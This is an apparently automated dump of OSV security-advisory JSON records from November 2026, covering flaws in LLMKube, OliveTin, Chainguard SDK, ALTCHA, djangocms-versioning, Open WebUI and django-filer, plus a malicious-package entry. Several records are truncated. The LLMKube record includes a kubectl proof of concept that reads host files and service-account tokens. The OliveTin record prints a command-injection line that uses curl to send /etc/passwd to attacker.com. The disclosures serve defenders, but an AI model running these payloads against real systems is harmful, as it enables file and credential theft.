vuln-osv update 2026-11-19T00:44:13Z

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{"schema_version":"1.9.2","id":"GHSA-jw3m-8q7m-f35r","published":"2026-11-18T21:18:02Z","modified":"2026-11-18T21:30:13.942147594Z","aliases":["CVE-2026-68903"],"summary":"LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection","details":"### Summary\n\nLLMKube's `ModelReconciler` accepts arbitrary absolute paths and `file://` URIs in the `Model.spec.source` field and propagates them to two distinct sinks without path allowlisting: (1) `os.Open()` inside the controller pod itself (`copyLocalModel`), and (2) a Kubernetes `HostPathVolumeSource` that mounts the attacker-supplied path into the inference pod's init container. Any namespace user with permission to create or update `Model` and `InferenceService` custom resources can read arbitrary files accessible to the controller pod (e.g., the controller's own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., `/etc/kubernetes/kubelet.conf`). Model caching, the feature that activates the `hostPath` sink, is **enabled by default** in both the CLI and the official Helm chart. CVSS v3.1 Base Score: **7.7 (High)**.\n\n### Details\n\n**Entry point — `Model.spec.source` field**\n\nThe `Source` field in `api/v1alpha1/model_types.go:47-48` carries a `kubebuilder` validation pattern that explicitly permits absolute paths:\n\n```go\n// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\\s]+$|^[a-zA-Z0-9][\\w\\-\\.\\/]+$`\nSource string `json:\"source\"`\n```\n\nThe branch `^/[^\\s]+$` matches any non-whitespace absolute path on the host.\n\n**Sink 1 — Controller-pod arbitrary file read (`copyLocalModel`)**\n\n`internal/controller/source.go:93-103` classifies a source as local and extracts the path with no sanitization:\n\n```go\n// isLocalSource: returns true for any \"/\" prefix or \"file://\" prefix\nfunc isLocalSource(source string) bool {\n return strings.HasPrefix(source, \"/\") || strings.HasPrefix(source, \"file://\")\n}\n\n// getLocalPath: strips \"file://\" prefix only; no canonicalization, no allowlist\nfunc getLocalPath(source string) string {\n return strings.TrimPrefix(source, \"file://\")\n}\n```\n\n`internal/controller/model_controller.go:241` passes the attacker-controlled source into `fetchModel`, which reaches `copyLocalModel` at line 664-667:\n\n```go\nf, err := os.Open(localPath) // localPath = getLocalPath(model.Spec.Source)\n```\n\nAn attacker sets `model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token`; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.\n\n**Sink 2 — Node arbitrary file read via `HostPathVolumeSource`**\n\n`internal/controller/model_storage.go:560-568` converts the same path into a Kubernetes host volume with no canonical-root check:\n\n```go\nif isLocalModelSource(model.Spec.Source) {\n localPath := getLocalPath(model.Spec.Source)\n volumes = append(volumes, corev1.Volume{\n Name: \"host-model\",\n VolumeSource: corev1.VolumeSource{\n HostPath: &corev1.HostPathVolumeSource{\n Path: localPath,\n Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return &t }(),\n },\n },\n })\n initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{\n Name: \"host-model\",\n MountPath: \"/host-model/model.gguf\",\n ReadOnly: true,\n })\n}\n```\n\n`internal/controller/deployment_builder.go:248-250` calls `buildModelStorageConfig`, and lines 329-333 embed `storageConfig.volumes` directly into the generated `Deployment`'s `PodSpec`. When the inference pod starts, the init container copies the node file to the model-cache PVC.\n\nThe only filename-level sanitization is in `internal/controller/filename.go:44-75`, which constrains the **destination basename** only and has no effect on `HostPath.Path`.\n\nModel caching is enabled by default: `cmd/main.go:120` and `charts/llmkube/values.yaml:274` (`modelCache.enabled: true`).\n\n### PoC\n\n**Prerequisites**\n\n- LLMKube 0.8.27 or 0.8.28 installed with default Helm values (`modelCache.enabled=true`).\n- Attacker possesses `create`/`update` permissions for `Model` and `InferenceService` CRDs in a target namespace, plus `get` on Pod logs.\n\n**Path A — Live Kubernetes cluster (hostPath sink)**\n\n```sh\nNS=llmkube-poc\nkubectl create ns \"$NS\"\n\n# Step 1: Create a Model whose source points to a sensitive node file\ncat <<'YAML' | kubectl apply -n \"$NS\" -f -\napiVersion: inference.llmkube.dev/v1alpha1\nkind: Model\nmetadata:\n name: hostread\nspec:\n source: /etc/passwd\nYAML\n\nkubectl wait -n \"$NS\" --for=jsonpath='{.status.phase}'=Ready \\\n model/hostread --timeout=180s\n\nCACHEKEY=\"$(kubectl get model hostread -n \"$NS\" \\\n -o jsonpath='{.status.cacheKey}')\"\nBASENAME=\"$(basename \\\n \"$(kubectl get model hostread -n \"$NS\" -o jsonpath='{.status.path}')\")\"\n\n#Line truncated
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{"schema_version":"1.9.2","id":"GHSA-vc6p-m6vx-6cwq","published":"2026-11-18T21:55:09Z","modified":"2026-11-18T22:00:04.129389620Z","aliases":["CVE-2026-75506"],"summary":"OliveTin: Second-Order OS Command Injection via shellAfterCompleted","details":"## Summary\n\nOliveTin's `shellAfterCompleted` post-execution hook injects unsanitized variables — including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) — directly into a shell command template processed by `sh -c`. Unlike the main action's argument handling, **no `checkShellArgumentSafety` validation is applied** to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.\n\nThis is a **distinct** finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the **post-execution step** (`stepExecAfter`), which has **zero** safety checks on any of its template variables.\n\n## Affected Versions\n\n- All versions containing `shellAfterCompleted` functionality (current codebase through latest)\n\n## Details\n\n### Vulnerable Code Path\n\nIn `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands:\n\n```go\nfunc stepExecAfter(req *ExecutionRequest) bool {\n if req.Binding.Action.ShellAfterCompleted == \"\" {\n return true\n }\n\n // These variables are injected WITHOUT any type checking or sanitization\n args := map[string]string{\n \"output\": req.logEntry.Output, // Arbitrary command stdout/stderr\n \"exitCode\": fmt.Sprintf(\"%v\", req.logEntry.ExitCode),\n \"ot_executionTrackingId\": req.TrackingID,\n \"ot_username\": req.AuthenticatedUser.Username, // User-controlled via trusted headers\n }\n\n // Template rendered with unsanitized args\n finalParsedCommand, err := tpl.ParseTemplateWithActionContext(\n req.Binding.Action.ShellAfterCompleted,\n req.Binding.Entity,\n args,\n )\n\n // Directly passed to sh -c — NO safety check\n cmd := wrapCommandInShell(ctx, finalParsedCommand)\n // ...\n}\n```\n\nThe `wrapCommandInShell` function (in `executor_unix.go`) executes:\n\n```go\nfunc wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {\n return exec.CommandContext(ctx, \"sh\", \"-c\", finalParsedCommand)\n}\n```\n\n### Why This Bypasses Existing Protections\n\nThe main action's shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode.\n\n**`stepExecAfter` calls none of these checks.** The `output` variable is:\n- Not a declared argument with a type — it's internally created\n- Not validated against any regex or type system\n- Not passed through `checkShellArgumentSafety`\n- Directly interpolated into a shell command template\n\nA `grep` for `checkShellArgumentSafety` in the codebase confirms it is **only** invoked at one location:\n\n```\nexecutor.go:693: if err := checkShellArgumentSafety(req); err != nil {\n```\n\nThis is inside `handleShellBranch` (the primary action execution), **not** in `stepExecAfter`.\n\n### Injection Vectors\n\n#### Vector 1: Output Reflection\n\nIf a primary action echoes user-controlled input:\n\n```yaml\nactions:\n - title: Lookup User\n shell: \"echo 'User: {{ .Arguments.username }}'\"\n shellAfterCompleted: \"audit-log '{{ .Arguments.output }}'\"\n arguments:\n - name: username\n type: ascii_identifier\n```\n\nWhile `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`.\n\n#### Vector 2: Exec Mode Output Injection\n\nActions using `exec` mode (array form) safely handle arguments in the primary command but the **output** still flows to `shellAfterCompleted` through a shell:\n\n```yaml\nactions:\n - title: Read External Data\n exec:\n - cat\n - /shared/data/{{ .Arguments.filename }}\n shellAfterCompleted: \"process-result '{{ .Arguments.output }}'\"\n arguments:\n - name: filename\n type: ascii_identifier\n```\n\nIf `/shared/data/report` contains text like:\n```\n'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nprocess-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'\n```\n\nThis executLine truncated
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{"schema_version":"1.9.2","id":"GHSA-wq26-3j2m-4hvv","published":"2026-11-18T21:16:44Z","modified":"2026-11-18T21:30:14.739697309Z","aliases":["CVE-2026-71861"],"summary":"Chainguard SDK: AWS SigV4 token replay in auth/aws.VerifyToken — Chainguard-Audience/Chainguard-Identity binding headers not required in SignedHeaders","details":"### Summary\n\nThe `auth/aws` package of the `chainguard.dev/sdk` Go library provides Chainguard's AWS-backed identity federation (an AWS workload proves its identity to Chainguard by signing an AWS STS `GetCallerIdentity` request). Its verifier, `VerifyToken`, reads the `Chainguard-Audience` and `Chainguard-Identity` binding headers from a presented token but does not require them to be covered by the SigV4 signature. AWS STS validates only the headers listed in `SignedHeaders` and ignores all others, so an attacker can take a `GetCallerIdentity` request that a victim signed for a *different* relying party, inject or rewrite those two headers *after* signing (without invalidating the signature), and replay it to any service that authenticates callers with `VerifyToken`. The binding those headers were meant to provide is therefore forgeable — a verifier-side (relying-party) authentication bypass / cross-service token replay.\n\n### Background\n\nThe package uses the standard \"signed `GetCallerIdentity`\" pattern — the same approach HashiCorp Vault's AWS auth method and Kubernetes `aws-iam-authenticator` use: the caller signs an AWS STS `GetCallerIdentity` request with its AWS credentials to prove who it is, and presents that signed request as a bearer token. It has two halves:\n\n- `GenerateToken` (client): builds the `GetCallerIdentity` request, adds the `Chainguard-Audience` and `Chainguard-Identity` headers that bind the proof to a specific Chainguard audience (issuer) and assumable identity, SigV4-signs it, and serializes it into a token.\n- `VerifyToken` (relying party): decodes the token, checks those two binding headers, forwards the request to AWS STS to confirm the caller's real AWS identity (ARN), and returns it so a Chainguard token can be issued for that identity.\n\nThe binding headers exist so a proof minted for one audience/identity cannot be reused for another — a defense against cross-service replay — and their security depends entirely on being covered by the SigV4 signature.\n\n### Impact\n\nA relying party calling `auth/aws.VerifyToken` can be induced to accept a `GetCallerIdentity` proof that a victim produced for an unrelated purpose — for example a request minted for HashiCorp Vault's AWS auth method, Kubernetes `aws-iam-authenticator`, a different audience, or one captured from logs or a proxy — and to treat it as proof of the victim's AWS identity for an attacker-chosen audience and identity. The signed request is valid within its ~15-minute window. No access to the victim's AWS credentials is required; the attacker only needs a fresh signed `GetCallerIdentity` request from the victim principal.\n\nCode that uses only `auth/aws.GenerateToken` (token generation) is not affected — the generator correctly includes the binding headers in the signature. Only verifiers using `auth/aws.VerifyToken` are affected.\n\n### Affected versions\n\nAll released versions of `chainguard.dev/sdk` that include `auth/aws.VerifyToken`, up to and including `v0.1.106`.\n\n### Patches\n\nFixed in `chainguard.dev/sdk` [v0.1.107](https://github.com/chainguard-dev/sdk/releases/tag/v0.1.107). The fix requires both the `Chainguard-Audience` and `Chainguard-Identity` headers to be present in the request's SigV4 `SignedHeaders` before their values are trusted (mirroring the mitigation HashiCorp Vault applies by requiring `X-Vault-AWS-IAM-Server-ID` to be signed). It additionally adds defense-in-depth checks on the request method, the STS host, and the request timestamp. Upgrade to v0.1.107 or later.\n\n### Workarounds\n\nThere is no client-side workaround; the fix is in the verifier. Operators of services that verify AWS-backed identities with `VerifyToken` should upgrade as soon as the patched release is available.\n\n### References\n\n- AWS Signature Version 4 — signed headers: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_sigv.html\n- Comparable mitigation: HashiCorp Vault requires the `X-Vault-AWS-IAM-Server-ID` header to appear in `SignedHeaders` before trusting it.\n\n### Credits\n\nReported by Kris Kennaway (Datadog).","affected":[{"package":{"name":"chainguard.dev/sdk","ecosystem":"Go","purl":"pkg:golang/chainguard.dev/sdk"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.1.107"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.1.106","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wq26-3j2m-4hvv/GHSA-wq26-3j2m-4hvv.json"}}],"references":[{"type":"WEB","url":"https://github.com/chainguard-dev/sdk/security/advisories/GHSA-wq26-3j2m-4hvv"},{"type":"ADVISORLine truncated
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{"schema_version":"1.9.2","id":"GHSA-82w8-65qw-gch6","published":"2026-11-18T20:48:18Z","modified":"2026-11-18T21:00:39.447883165Z","aliases":["CVE-2026-71481"],"summary":"ALTCHA PHP: verifySolution bypasses HMAC signature check when challenge signature is absent","details":"In altcha-org/altcha v2, the verifySolution method skips HMAC signature verification when the signature field is absent from the challenge payload, even when hmacSignatureSecret is configured.\n\nAn attacker who strips the signature key from the challenge JSON passes the condition as false, bypassing tamper-detection entirely. The PoW solution check then runs against unverified parameters — allowing an attacker to self-issue a low-difficulty challenge, solve it trivially, and submit a payload that verifies as true.\n\nImpact:\nComplete CAPTCHA bypass on any deployment that sets hmacSignatureSecret (the recommended production configuration).\n\nFix:\nThe check was split so that a missing signature is explicitly rejected when a secret is configured.","affected":[{"package":{"name":"altcha-org/altcha","ecosystem":"Packagist","purl":"pkg:composer/altcha-org/altcha"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.3"}]}],"versions":["v2.0.0","v2.0.1","v2.0.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-82w8-65qw-gch6/GHSA-82w8-65qw-gch6.json"}}],"references":[{"type":"WEB","url":"https://github.com/altcha-org/altcha-lib-php/security/advisories/GHSA-82w8-65qw-gch6"},{"type":"WEB","url":"https://github.com/altcha-org/altcha-lib-php/commit/8b02ad2c9b82998613bac4d093517d457061cbbe"},{"type":"PACKAGE","url":"https://github.com/altcha-org/altcha-lib-php"},{"type":"WEB","url":"https://github.com/altcha-org/altcha-lib-php/releases/tag/v2.0.3"}],"database_specific":{"cwe_ids":["CWE-347"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T20:48:18Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}
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{"schema_version":"1.9.2","id":"GHSA-5g9x-qwh5-33x4","published":"2026-11-18T21:19:04Z","modified":"2026-11-18T21:30:21.173085132Z","aliases":["CVE-2026-69138"],"summary":"djangocms-versioning: Authorization Bypass Through User-Controlled Key and Missing Authorization","details":"## Summary\n\nThe `discard` and `edit_redirect` version transitions did not enforce a per-object change-permission check, while the sibling transitions (`archive`, `publish`, `unpublish`, `revert`) all did. As a result a low-privileged staff user could **discard (delete) any draft version — and thereby the underlying content object — of content they have no change permission on**, and could create an editable draft off any published version, by supplying a version primary key they should not have access to (an insecure direct object reference).\n\n## Details\n\nVersion state transitions are guarded by `Conditions` objects declared on `djangocms_versioning.models.Version`. Every transition that mutates content carries the `user_can_change` condition, which delegates to the *content* object's own permission check (`Version.has_change_permission` → `content.has_change_permission` / `has_placeholder_change_permission`, with a final fallback to the Django `change_<model>` permission).\n\nTwo conditions were missing that check:\n\n```python\n# Before (vulnerable)\ncheck_discard = Conditions([\n in_state([constants.DRAFT], not_draft_error),\n is_not_locked(lock_error_message),\n])\ncheck_edit_redirect = Conditions([\n in_state([constants.DRAFT, constants.PUBLISHED], _(\"Version is not in draft or published state\")),\n draft_is_not_locked(lock_draft_error_message),\n])\n```\n\nThe corresponding admin views authorize **only** through these conditions:\n\n* `VersionAdmin.discard_view` / `VersionAdmin.edit_redirect_view` fetch the target with the stock `ModelAdmin.get_object`, which is backed by the **unfiltered** default queryset — no per-user or per-grouper scoping.\n* The views are registered with `admin_site.admin_view`, which enforces only `is_staff`.\n* `discard_view` deletes the version directly via `version.delete()` and never consults `VersionAdmin.has_delete_permission` (which otherwise delegates to the content admin and honors `ALLOW_DELETING_VERSIONS`).\n\nBecause the only per-object gate for these two operations was the `Conditions` list, and that list omitted `user_can_change`, any staff user could invoke the operation on any version by its primary key. The changelist action buttons are disabled in the UI via `check_discard.as_bool` / `check_edit_redirect.as_bool`, but that is a client-side affordance only and does not protect the directly reachable admin URLs.\n\n## Impact\n\n* **Type:** Broken access control / missing authorization (IDOR).\n* **Who is affected:** Multi-editor deployments where staff users hold differentiated per-object permissions.\n * Under `CMS_PERMISSION = True`, authorization for these two operations was effectively reduced to `is_staff`, so any staff user could discard or edit-redirect any version.\n * Under the default `CMS_PERMISSION = False`, it degrades to the global `change_<model>` permission (e.g. `cms.change_page`) — weaker than the intended per-object check, but not absent.\n* **Consequence:** Unauthorized deletion of draft versions and their content objects (integrity/availability of content), and unauthorized creation of drafts from published content.\n\n## Patches\n\nFixed by adding the `user_can_change` condition to both `check_discard` and `check_edit_redirect`, restoring parity with the other content-mutating transitions:\n\n```python\n# After (fixed)\ncheck_discard = Conditions([\n in_state([constants.DRAFT], not_draft_error),\n user_can_change(change_permission_error),\n is_not_locked(lock_error_message),\n])\ncheck_edit_redirect = Conditions([\n in_state([constants.DRAFT, constants.PUBLISHED], _(\"Version is not in draft or published state\")),\n user_can_change(change_permission_error),\n draft_is_not_locked(lock_draft_error_message),\n])\n```\n\n`discard` intentionally requires **change** permission (not delete): it is treated as undoing changes to a draft.\n\nUpgrade to `djangocms-versioning` `2.6.1` or later.\n\n## Workarounds\n\nThere is no configuration-only workaround. Operators who cannot upgrade immediately should restrict staff accounts to trusted users, since the missing gate reduces to `is_staff` under `CMS_PERMISSION = True`.","affected":[{"package":{"name":"djangocms-versioning","ecosystem":"PyPI","purl":"pkg:pypi/djangocms-versioning"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.1"}]}],"versions":["2.0.0","2.0.0rc1","2.0.1","2.0.2","2.1.0","2.2.0","2.2.1","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.6.0"],"database_specific":{"last_known_affected_version_range":"<= 2.6.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5g9Line truncated
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{"schema_version":"1.9.0","id":"GHSA-jrhc-9qg9-4qfq","published":"2025-03-20T12:32:45Z","modified":"2026-07-07T17:56:16.343704340Z","aliases":["CVE-2024-7043","PYSEC-2026-1737"],"summary":"Open WebUI Allows Arbitrary File Reading and Deletion","details":"An improper access control vulnerability in open-webui/open-webui v0.3.8 allows attackers to view and delete any files. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the GET /api/v1/files/ interface to retrieve information on all files uploaded by users, which includes the ID values. The attacker can then use the GET /api/v1/files/{file_id} interface to obtain information on any file and the DELETE /api/v1/files/{file_id} interface to delete any file.","affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.3.8"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-jrhc-9qg9-4qfq/GHSA-jrhc-9qg9-4qfq.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-7043"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://huntr.com/bounties/c01e0c7f-68d8-45cf-91d2-521c97f33b00"}],"database_specific":{"cwe_ids":["CWE-821","CWE-862"],"github_reviewed":true,"github_reviewed_at":"2025-03-21T17:26:04Z","nvd_published_at":"2025-03-20T10:15:35Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]}
{"schema_version":"1.9.2","id":"GHSA-jrhc-9qg9-4qfq","published":"2025-03-20T12:32:45Z","modified":"2026-11-19T00:30:03.987387441Z","aliases":["CVE-2024-7043","PYSEC-2026-1737"],"summary":"Open WebUI Allows Arbitrary File Reading and Deletion","details":"An improper access control vulnerability in open-webui/open-webui v0.3.8 allows attackers to view and delete any files. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the GET /api/v1/files/ interface to retrieve information on all files uploaded by users, which includes the ID values. The attacker can then use the GET /api/v1/files/{file_id} interface to obtain information on any file and the DELETE /api/v1/files/{file_id} interface to delete any file.","affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.16"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-jrhc-9qg9-4qfq/GHSA-jrhc-9qg9-4qfq.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-7043"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/commit/4519ddd0e97b33114d5ad0d012ed4523937f55c7"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jrhc-9qg9-4qfq"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.3.16"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-1737.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/c01e0c7f-68d8-45cf-91d2-521c97f33b00"},{"type":"WEB","url":"https://pypi.org/project/open-webui"}],"database_specific":{"cwe_ids":["CWE-821","CWE-862"],"github_reviewed":true,"github_reviewed_at":"2025-03-21T17:26:04Z","nvd_published_at":"2025-03-20T10:15:35Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]}
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{"schema_version":"1.9.2","id":"GHSA-vf85-8ff2-3r9w","published":"2026-11-18T21:20:42Z","modified":"2026-11-18T21:30:14.031723989Z","aliases":["CVE-2026-69131"],"summary":"django-filer: Missing per-object authorization on `discard` and `edit_redirect` version transitions","details":"## Summary\n\nWhen django-filer's optional per-folder permission system is enabled (`FILER_ENABLE_PERMISSIONS=True`), the \"Delete files and/or folders\" admin action does **not** enforce per-folder edit permissions the way every other mutating action does. A staff user who is scoped **read-only** on a folder via `FolderPermission` (`can_edit = DENY`), but who holds the global Django model-level `delete_*` permission, can delete files and entire subfolders inside that folder — even though their move, rename, copy, and resize actions on the same folder are correctly denied.\n\nThis is an integrity / edit-control gap (unauthorized deletion). It is **not** a read-confidentiality issue: filer files are world-downloadable by design, so no confidentiality claim is made.\n\n## Affected versions\n\n- django-filer `<= 3.4.4` (verified end-to-end on 3.4.4 and on `master` prior to the fix).\n\nOnly installations running with `FILER_ENABLE_PERMISSIONS = True` (the optional per-folder `FolderPermission` system) are affected. Deployments that leave permissions disabled (the default) rely solely on Django model-level permissions and are not impacted by this specific gap.\n\n## Patched versions\n\n- Fixed in PR [#1605](https://github.com/django-cms/django-filer/pull/1605). Upgrade to the first release containing that commit (`3.5.0` or later).\n\n## Details\n\nThe `delete_files_or_folders` admin action in `filer/admin/folderadmin.py` authorized deletion using only:\n\n1. `self.has_delete_permission(request)` — which returns `True` for `obj=None`, and\n2. the Django model-level `delete_file` / `delete_folder` / `delete_image` permission (enforced downstream by the admin delete machinery).\n\nIt never called `check_folder_edit_permissions` or `check_files_edit_permissions`. Every sibling mutating action — move, rename, copy, resize — *does* call these helpers, which walk the selected objects (and their descendants) and enforce the per-folder `can_edit` grant from `FolderPermission`.\n\nBecause `FolderPermission` has no dedicated `can_delete` field, deletion is treated as an edit/management operation and is gated elsewhere on `can_edit`. The delete action's omission therefore let a folder-scoped read-only user bypass the per-folder control that constrains all their other write operations.\n\n### Precondition \n\nThe attacker must hold the Django model-level `delete_file` / `delete_folder` / `delete_image` permission. A purely read-only user (no model-level delete perm) receives `403` and cannot exploit this. This precondition matches the standard folder-scoped-staff deployment model, where staff hold model-level permissions and are further constrained per-folder by `FolderPermission`. \n\n## Mitigation\n\n- Upgrade to the patched release.\n- Until upgrading, avoid granting the model-level `delete_file` /\n `delete_folder` / `delete_image` permission to staff who are meant to be\n read-only on specific folders via `FolderPermission`.\n\n## Credit\n\nReported through coordinated disclosure. Fixed in PR #1605.","affected":[{"package":{"name":"django-filer","ecosystem":"PyPI","purl":"pkg:pypi/django-filer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.0"}]}],"versions":["0.1.3a","0.7.0","0.7.1","0.7.2","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.9","0.9.1","0.9.10","0.9.11","0.9.12","0.9.2","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.6rc1","1.2.6rc2","1.2.7","1.2.8","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.5.0","1.6.0","1.7.0","1.7.1","2.0.0","2.0.1","2.0.2","2.1","2.1.1","2.1.2","2.1rc1","2.1rc2","2.1rc3","2.1rc4","2.2","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3rc1","3.0.0","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0","3.2.1","3.2.2","3.2.3","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","3.4.3","3.4.4"],"database_specific":{"last_known_affected_version_range":"<= 3.4.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vf85-8ff2-3r9w/GHSA-vf85-8ff2-3r9w.json"}}],"references":[{"type":"WEB","url":"https://github.com/django-cms/django-filer/security/advisories/GHSA-vf85-8ff2-3r9w"},{"type":"WEB","url":"https://github.com/django-cms/django-filer/pull/1605"},{"type":"WEB","url":"https://github.com/django-cms/django-filer/commit/29d20ec0de13d7f77fa2cea93166f8d50a3f508d"},{"type":"WEB","url":"https://github.com/django-cms/django-filer/commit/742ba4c3094dd75eLine truncated
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{"schema_version":"1.7.5","id":"MAL-2025-3000","published":"2025-02-21T21:50:10Z","modified":"2026-03-19T12:57:02.855404Z","summary":"Malicious code in solders-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (eff6c26674dd4f0408742c46785656c3a5d19ca0a87366a60534d37d5a54e687)\nThe only thing the package does is send out all the given data about a cryptocurrency transaction, including the private key, to a hardcoded webhook.\n\nFeedback from PyPI Team: the package \"transaction-utils\" may also exploit a known pip behavior to overwrite files of an existing legitime package and replace it with malicious content.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2025-02-transaction-utils\n\n\nReasons (based on the campaign):\n\n\n - crypto-related\n\n\n - action-hidden-in-lib-usage\n\n\n - A Telegram webhook is used to send collected data.\n","affected":[{"package":{"name":"solders-utils","ecosystem":"PyPI","purl":"pkg:pypi/solders-utils"},"versions":["0.1.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/solders-utils/MAL-2025-3000.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/solders-utils"}],"database_specific":{"malicious-packages-origins":[{"id":"RLMA-2025-01999","import_time":"2025-03-31T07:07:06.758949622Z","modified_time":"2025-03-28T13:06:16Z","sha256":"5c8e346305384f94d637742b5acac9fe706eacca5bfb47be549338efa6f2abb0","source":"reversing-labs","versions":["0.1.1"]},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-02T22:30:55.599547676Z","modified_time":"2025-02-21T21:50:10Z","ranges":[{"events":[{"introduced":"0"}],"type":"ECOSYSTEM"}],"sha256":"cc67f0fb839600d6c9595c6e1c782d58f363987a56d0c739d96e3dcab09b8036","source":"kam193"},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-02T23:07:18.638897995Z","modified_time":"2025-02-21T21:50:10Z","ranges":[{"events":[{"introduced":"0"}],"type":"ECOSYSTEM"}],"sha256":"eff6c26674dd4f0408742c46785656c3a5d19ca0a87366a60534d37d5a54e687","source":"kam193"},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-10T21:38:57.833108292Z","modified_time":"2025-02-21T21:50:10Z","sha256":"1de48d4db6755f2ac7b7280995e8b326ce9ae224577913713623e31355e8b133","source":"kam193","versions":["0.1.1"]},{"id":"RLUA-2026-00771","import_time":"2026-03-19T12:20:28.923943405Z","modified_time":"2026-03-18T12:18:56Z","sha256":"eb4fb9c4ad72103e27553a1b780fcd33a8e6fbbf6277b575ab1997504a5f6e07","source":"reversing-labs"}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"]},{"name":"Kamil Mańkowski 